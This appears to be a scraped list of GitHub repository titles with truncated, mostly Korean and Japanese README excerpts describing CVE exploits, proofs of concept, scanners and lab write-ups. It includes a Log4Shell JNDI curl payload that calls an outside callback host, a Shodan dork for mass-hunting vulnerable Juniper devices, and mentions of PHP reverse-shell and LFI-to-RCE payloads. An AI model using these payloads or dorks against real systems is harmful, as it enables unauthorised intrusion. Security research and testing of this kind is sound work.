log4shell-demo

Log4ShellCVE-2021-44228에 취약한 간단한 Spring Boot 애플리케이션 기본 로깅 프레임워크를 logback에서 log4j2로 변경 애플리케이션은 'User-Agent' 헤더를 로깅하므로, curl과 interactsh-service를 사용하여 취약점을 테스트할 수 있습니다: curl -A '$jndi:ldap://interactsh-url/a' http://target-service/ app.interactsh.com에서 DNS 상호작용을 확인할 수 있습니다. Docker hub Docker hub로 이...

log4j

log4j log4j RCE CVE-2021-44228 탐지를 위한 자동화된 헤더 광범위 스캐너 사용법 $ python3 log4j.py -l urls.txt --dns-log REPLACETHIS.dnslog.cn...

WBCE-v1.6.3-Authenticated-RCE

WBCE CMS printerror$MESSAGE'GENERICINVALIDADDONFILE'; モジュールがこのチェックを通過して "有効なアドオン" と見なされると、install.php スクリプトがサーバー上で自動的に実行されます。このエクスプロイトは、PHP ペイロードとして単純に php リバースシェル を使用します。 YouTube デモ: https://youtu.be/Dhg5gRe9Dzs?si=LHC29PBRRRPNNy73 Description: This is an Authenticated RCE exploit for WBCE CMS...

CVE-2026-83548-checker

SonicWall SMA 1000 — CVE-2026-83548 / CVE-2026-83549 露出検出ツール SonicWall Secure Mobile Access SMA 1000 シリーズのアプライアンスに影響する CVE-2026-83548 （Work Place インターフェースにおける事前認証 SSRF、CVSS 10.0）および CVE-2026-83549 （AMC における認証後 OS コマンドインジェクション、CVSS 7.8）を検出するための非侵襲型 検出スクリプトです。これらは認証なしの RCE に連鎖される、活発に悪用されている 2...

CVE-2026-5759

A double free and use-after-free vulnerability in the RdbLoadDeletedNodes function of the RDB graph decoders src/serializers/decoders//decodegraphentities.c in FalkorDB before 4.18.1 allows a remote attacker who can issue Redis replication commands for example, against an instance with no passwor...

Homework-of-Python

Homework-of-Python 제 블로그의 Python 코드입니다. pptppasswordhack.py 무차별 대입 공격Brute-force attack을 사용하여 PPTP VPN의 비밀번호를 얻습니다. 파일wordlist에서 비밀번호를 읽은 다음 pptpsetup을 사용하여 서버에 연결합니다. 시간 간격은 10초입니다. portscan.py 포트 스캔에 사용합니다. 타임아웃은 3초입니다. c++ 버전:...

CyberPanel-RCE

CyberPanel-RCE v2.3.6에서 발견된 CyberPanel RCE용 익스플로잇 더 많은 정보는 제 블로그에서 확인하세요: https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce...

CVE-2026-42945

CVE-2026-42945 실제 위험 평가 스크립트 CVE-2026-42945Nginx Rift에 대한 로컬 위험 평가 도구입니다. 단순히 "영향을 받는 버전이면 위험하다"고 알려주는 것과 달리, 이 스크립트는 실제로 위험을 결정하는 세 가지 조건을 단계별로 점검하여 사용자 환경에 맞는 결론을 제시합니다. 배경 CVE-2026-42945는 nginx ngxhttprewritemodule에 18년 동안 존재해 온 힙 버퍼 오버플로 취약점CWE-122이며, CVSS 4.0 점수는 9.2입니다. 하지만 공고에는 중요한 단서가 한 가...

Juniper-CVE-2023-36845-Mass-Hunting

Juniper-CVE-2023-36845-Mass-Hunting Juniper RCE Remote Code Execution CVE-2023-36845는 Juniper 소프트웨어에서 확인된 취약점입니다. 이 특정 결함은 원격 코드 실행을 허용하며, 이는 공격자가 장치에 물리적 접근 없이 시스템에서 임의의 코드를 실행할 수 있음을 의미합니다. 찾는 방법: Shodan dork: http.favicon.hash:2141724739 보다 타겟팅된 검색을 위해 SSL 인증서, 조직명 등의 관련 dork와 함께 사용하십시오. 단일 호스...

CVE-2024-21762-Exploit-PoC-Fortinet-SSL-VPN-Check

CVE-2024-21762-Exploit-PoC-Fortinet-SSL-VPN-Check 방화벽이 CVE-2024-21762 인증 없는 RCE에 취약한지 확인합니다. 취약점에 대한 자세한 정보: https://cuty.io/TKyfFh 제 소셜 미디어에 구독하거나 가입하여 더 많은 해킹 정보를 받아보세요!! 취약점 탐지 및 회사 보호 방법 배우기 유튜브 비디오 : https://cuty.io/1hkzLCN 요구 사항 GitHub 저장소 클론 git clone...

CVE-2022-22954-PoC

CVE-2022-22954 PoC VMware Workspace ONE Access 및 Identity Manager에서 SSTI를 통한 RCE. CVE-2022-22954 - PoC SSTI 사용법: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file | manual -i IP, --...

Apache-CouchDB-CVE-2022-24706-RCE-Exploits-Blog-post-

Apache-CouchDB-CVE-2022-24706-RCE-Exploits-Blog-post- Apache CouchDB CVE-2022-24706 RCE Exploits에 대한 블로그 게시물을 작성했습니다...

CVE-2026-70553-PoC

CVE-2026-70553 - MaxSite CMS 인증되지 않은 원격 코드 실행 RCE CVE-2026-70553에 대한 개념 증명PoC: 설치 엔드포인트를 통해 database.php에 지속적인 PHP 코드 주입을 수행하여 MaxSite CMS에서 인증되지 않은 원격 코드 실행RCE을 달성합니다. 면책 조항 이 PoC는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 작성자는 이 코드로 인한 오용이나 피해에 대해 책임을 지지 않습니다. 소유한 시스템 또는 명시적인 서면 승인을 받은 시스템에서만 테스트하십시오. 취약점 개요...

kadimus

kadimus LFI Scan & Exploit Tool kadimus is a tool to check for and exploit LFI vulnerabilities, with a focus on PHP systems. Features: Check all url parameters /var/log/auth.log RCE /proc/self/environ RCE php://input RCE data://text RCE expect://cmd RCE Source code disclosure Command shell...

CVE-2021-22205

CVE-2021-22205 GitLab CE/EE Preauth RCE using ExifTool This project is for learning only, if someone's rights have been violated, please contact me to remove the project, and the lastDO NOT USE IT ILLEGALLY If you have any illegal behavior in the process of using this tool, you will bear all the...

TryHackMe-Atlassian-CVE-2022-26134

TryHackMe | Atlassian, CVE-2022-26134 TryHackMe Atlassian CVE-2022-26134 Atlassian, CVE-2022-26134 Confluence Server と Data Center の認証されていない RCE 脆弱性を紹介するインタラクティブラボ。 タスク1 はじめに Confluence | リモートフレンドリーなチームワークスペース | Atlassian NVD - CVE-2022-26134 タスク2 脆弱なマシンを展開する http://10.10.186.32:8090/ タスク3 脆弱性の解説...

MS09-050

MS09-050 — SMBv2 リモートコード実行エクスプロイト CVE-2009-3103 脆弱性 Windows Vista および Server 2008 では、新しいカーネルドライバ srv2.sys を備えた SMBv2 が導入されました。このドライバは、SMB ネゴシエート要求内の Process Id High フィールドを検証できません。このフィールドに細工された値を送信することで、攻撃者は srv2.sys に制御された値で関数ポインタテーブルをインデックスさせ、攻撃者が指定したアドレスを逆参照させることができます。...

CVE-2021-38647-POC-and-Demo-environment

Details OMIGod - CVE-2021-38647 Open Management InfrastructureOMI, 이전에는 NanoWBEM으로 알려짐는 마이크로소프트와 The Open Group이 개발한 오픈 소스 Common Interface ModelCMI 관리 서버입니다. OMI는 대부분의 Azure Linux VM에서 발견되는 소프트웨어 에이전트이지만, 많은 사람들이 그 존재를 모릅니다. 9월 14일, Wiz 연구팀은 OMI의 네 가지 취약점을 상세히 설명하는 기사를 발표했습니다. 이 취약점들은 쉽게 악용될 수...

CVE-2022-41080

CVE-2022-41080 설명 CrowdStrike는 최근 OWASSRF라고 불리는 새로운 익스플로잇 방법을 발견했습니다. 이 방법은 CVE-2022-41080과 CVE-2022-41082를 결합하여 Outlook Web AccessOWA를 통해 원격 코드 실행RCE을 달성합니다. 이 새로운 익스플로잇 방법은 ProxyNotShell에 대응하여 Microsoft가 제공한 Autodiscover 엔드포인트에 대한 URL 재작성 완화 조치를 우회합니다. 이번 발견은 최근 CrowdStrike Services가 여러 Play 랜섬...

ezviz_lan_rce

ezvizlanrce This repository contains the slides and PoC videos for the talk SADProtocol goes to Hollywood which was presented at DEF CON 31 Hardware Hacking Village. You can also find the docker image to build binaries that run on the camera and the proof of concept exploits for CVE-2023-34551 an...